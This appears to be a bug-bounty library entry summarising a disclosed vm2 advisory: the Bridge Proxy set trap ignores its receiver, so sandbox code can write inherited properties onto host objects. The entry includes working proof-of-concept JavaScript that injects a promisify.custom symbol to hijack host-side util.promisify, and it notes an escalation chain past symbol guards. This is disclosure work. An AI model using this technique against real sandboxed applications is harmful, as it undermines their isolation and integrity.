# vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

vm2's Bridge Proxy set trap ignores the receiver argument, letting sandbox code write inherited properties onto host objects and hijack util.promisify behavior.

- Payout: Research
- Severity: high
- Program: vm2
- Found by: q1uf3ngONEKEY
- Disclosed: 2026-05-29
- CVE: CVE-2026-47209
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c4cf-2hgv-2qv6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c4cf-2hgv-2qv6
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:sandbox-escape

**Target:** vm2 Bridge Proxy set trap (bridge.js) in Node.js sandbox
**Root cause:** BaseHandler.set unconditionally calls otherReflectSet against the host target and never checks whether receiver differs from the proxy, so writes made on a prototype-inheriting child leak through to the host object instead of creating an own property on the receiver.
**Steps:**
1. Sandbox obtains a reference to a host object/function (e.g. via `vm.setGlobal('hostFn', hostFn)`).
2. Create a child inheriting from it: `const child = Object.create(hostFn);`
3. Write a dangerous Symbol-keyed property on the child: `child[Symbol.for('nodejs.util.promisify.custom')] = function(){ return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); };`
4. The set trap fires with receiver=child but writes to the host target, so hostFn gains the property.
5. Host calls `util.promisify(hostFn)('test')` and receives the attacker-controlled promise value.
**How found:** Code review of the Proxy set trap against the ECMAScript spec: noticed the receiver parameter was accepted but never used, and that otherReflectSet always targets the host object, so prototype-inherited writes leak cross-realm.
**Exploitation:** Sandbox code with a reference to any host object creates an Object.create child and assigns a Symbol-keyed property (e.g. nodejs.util.promisify.custom); the trap writes it to the host object, so host-side util.promisify returns attacker-controlled results, enabling semantic confusion and bypassing per-trap dangerous-symbol guards.
**Escalation:** Chains with the Symbol.for coverage gap to bypass a future isDangerousCrossRealmSymbol guard on the direct set path, turning a write primitive into host-side behavior hijack.
**Insight:** When auditing JS sandbox bridges, check every Proxy trap for spec-mandated receiver handling: a set trap that ignores receiver lets Object.create(hostObj) children act as a write gadget to host objects, bypassing per-trap symbol/key guards.

## Proof of concept (copied exactly from the original report)

**Reproduction script injecting promisify.custom via Object.create**

```
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
```

**Sandbox PoC writing inherited property to host object**

```
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
```

**Symbol.for promisify.custom semantic confusion PoC**

```
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
```

